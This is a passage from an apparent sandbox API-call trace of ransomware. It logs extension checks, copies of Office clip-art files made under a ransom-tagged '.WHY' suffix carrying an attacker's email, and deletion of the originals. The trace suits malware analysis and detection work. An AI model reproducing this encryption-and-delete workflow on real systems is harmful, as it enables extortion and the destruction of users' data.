Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.661] lstrlenW (lpString=".zip") returned 4 [0271.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.661] lstrlenW (lpString=".rar") returned 4 [0271.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.661] lstrlenW (lpString=".bz2") returned 4 [0271.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.661] lstrlenW (lpString=".7z") returned 3 [0271.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.662] lstrlenW (lpString=".dbf") returned 4 [0271.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.662] lstrlenW (lpString=".1cd") returned 4 [0271.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.662] lstrlenW (lpString=".jpg") returned 4 [0271.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.662] lstrlenW (lpString=".doc") returned 4 [0271.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.663] lstrlenW (lpString=".docx") returned 5 [0271.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.663] lstrlenW (lpString=".pdf") returned 4 [0271.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.663] lstrlenW (lpString=".xls") returned 4 [0271.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.663] lstrlenW (lpString=".xlsx") returned 5 [0271.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.663] lstrlenW (lpString=".ppt") returned 4 [0271.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.663] lstrlenW (lpString=".zip") returned 4 [0271.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.663] lstrlenW (lpString=".rar") returned 4 [0271.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.664] lstrlenW (lpString=".bz2") returned 4 [0271.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.664] lstrlenW (lpString=".7z") returned 3 [0271.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.664] lstrlenW (lpString=".dbf") returned 4 [0271.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.664] lstrlenW (lpString=".1cd") returned 4 [0271.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0271.664] lstrlenW (lpString=".jpg") returned 4 [0271.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.665] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0271.665] lstrlenW (lpString="AN04235_.WMF") returned 12 [0271.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0271.667] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=7804) returned 1 [0271.667] CloseHandle (hObject=0x3a0) returned 1 [0271.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0271.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0271.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0271.670] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.671] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0271.672] GetLastError () returned 0x0 [0271.672] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0271.735] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0271.738] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.738] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.739] SetEndOfFile (hFile=0x38c) returned 1 [0271.739] CloseHandle (hObject=0x38c) returned 1 [0271.746] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.747] SetEndOfFile (hFile=0x3a0) returned 1 [0271.753] CloseHandle (hObject=0x3a0) returned 1 [0271.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0271.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0271.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.837] lstrlenW (lpString=".doc") returned 4 [0271.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.838] lstrlenW (lpString=".docx") returned 5 [0271.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.838] lstrlenW (lpString=".pdf") returned 4 [0271.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.838] lstrlenW (lpString=".xls") returned 4 [0271.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.838] lstrlenW (lpString=".xlsx") returned 5 [0271.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.838] lstrlenW (lpString=".ppt") returned 4 [0271.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.839] lstrlenW (lpString=".zip") returned 4 [0271.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.839] lstrlenW (lpString=".rar") returned 4 [0271.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.839] lstrlenW (lpString=".bz2") returned 4 [0271.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.839] lstrlenW (lpString=".7z") returned 3 [0271.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.839] lstrlenW (lpString=".dbf") returned 4 [0271.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.840] lstrlenW (lpString=".1cd") returned 4 [0271.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.840] lstrlenW (lpString=".jpg") returned 4 [0271.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.840] lstrlenW (lpString=".doc") returned 4 [0271.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.840] lstrlenW (lpString=".docx") returned 5 [0271.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.840] lstrlenW (lpString=".pdf") returned 4 [0271.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.840] lstrlenW (lpString=".xls") returned 4 [0271.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.841] lstrlenW (lpString=".xlsx") returned 5 [0271.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.841] lstrlenW (lpString=".ppt") returned 4 [0271.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.841] lstrlenW (lpString=".zip") returned 4 [0271.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.841] lstrlenW (lpString=".rar") returned 4 [0271.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.841] lstrlenW (lpString=".bz2") returned 4 [0271.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.841] lstrlenW (lpString=".7z") returned 3 [0271.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.841] lstrlenW (lpString=".dbf") returned 4 [0271.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.842] lstrlenW (lpString=".1cd") returned 4 [0271.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0271.842] lstrlenW (lpString=".jpg") returned 4 [0271.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.843] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0271.843] lstrlenW (lpString="AN04269_.WMF") returned 12 [0271.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0271.876] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2016) returned 1 [0271.876] CloseHandle (hObject=0x258) returned 1 [0271.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0271.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0271.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0271.877] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.877] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0271.878] GetLastError () returned 0x0 [0271.878] ReadFile (in: hFile=0x258, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0271.954] WriteFile (in: hFile=0x320, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0271.956] ReadFile (in: hFile=0x258, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.956] WriteFile (in: hFile=0x320, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.957] SetEndOfFile (hFile=0x320) returned 1 [0271.957] CloseHandle (hObject=0x320) returned 1 [0271.958] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.958] SetEndOfFile (hFile=0x258) returned 1 [0271.966] CloseHandle (hObject=0x258) returned 1 [0271.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0272.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0272.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.108] lstrlenW (lpString=".doc") returned 4 [0272.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.108] lstrlenW (lpString=".docx") returned 5 [0272.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.108] lstrlenW (lpString=".pdf") returned 4 [0272.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.108] lstrlenW (lpString=".xls") returned 4 [0272.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.109] lstrlenW (lpString=".xlsx") returned 5 [0272.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.109] lstrlenW (lpString=".ppt") returned 4 [0272.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.109] lstrlenW (lpString=".zip") returned 4 [0272.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.109] lstrlenW (lpString=".rar") returned 4 [0272.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString=".bz2") returned 4 [0272.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.109] lstrlenW (lpString=".7z") returned 3 [0272.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.110] lstrlenW (lpString=".dbf") returned 4 [0272.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.110] lstrlenW (lpString=".1cd") returned 4 [0272.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.110] lstrlenW (lpString=".jpg") returned 4 [0272.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.111] lstrlenW (lpString=".doc") returned 4 [0272.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.111] lstrlenW (lpString=".docx") returned 5 [0272.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.111] lstrlenW (lpString=".pdf") returned 4 [0272.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.111] lstrlenW (lpString=".xls") returned 4 [0272.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.111] lstrlenW (lpString=".xlsx") returned 5 [0272.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.111] lstrlenW (lpString=".ppt") returned 4 [0272.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.112] lstrlenW (lpString=".zip") returned 4 [0272.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.112] lstrlenW (lpString=".rar") returned 4 [0272.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString=".bz2") returned 4 [0272.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString=".7z") returned 3 [0272.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.112] lstrlenW (lpString=".dbf") returned 4 [0272.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.113] lstrlenW (lpString=".1cd") returned 4 [0272.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0272.113] lstrlenW (lpString=".jpg") returned 4 [0272.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.113] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0272.114] lstrlenW (lpString="AN04369_.WMF") returned 12 [0272.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0272.114] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=4808) returned 1 [0272.115] CloseHandle (hObject=0x258) returned 1 [0272.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0272.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0272.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0272.116] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.116] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0272.117] GetLastError () returned 0x0 [0272.117] ReadFile (in: hFile=0x258, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0272.262] WriteFile (in: hFile=0x320, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0272.266] ReadFile (in: hFile=0x258, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.266] WriteFile (in: hFile=0x320, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.266] SetEndOfFile (hFile=0x320) returned 1 [0272.266] CloseHandle (hObject=0x320) returned 1 [0272.270] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.270] SetEndOfFile (hFile=0x258) returned 1 [0273.086] CloseHandle (hObject=0x258) returned 1 [0273.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0273.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.089] lstrlenW (lpString=".doc") returned 4 [0273.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.089] lstrlenW (lpString=".docx") returned 5 [0273.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.089] lstrlenW (lpString=".pdf") returned 4 [0273.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.090] lstrlenW (lpString=".xls") returned 4 [0273.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.090] lstrlenW (lpString=".xlsx") returned 5 [0273.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.090] lstrlenW (lpString=".ppt") returned 4 [0273.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.090] lstrlenW (lpString=".zip") returned 4 [0273.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.090] lstrlenW (lpString=".rar") returned 4 [0273.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.090] lstrlenW (lpString=".bz2") returned 4 [0273.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.091] lstrlenW (lpString=".7z") returned 3 [0273.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.091] lstrlenW (lpString=".dbf") returned 4 [0273.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.091] lstrlenW 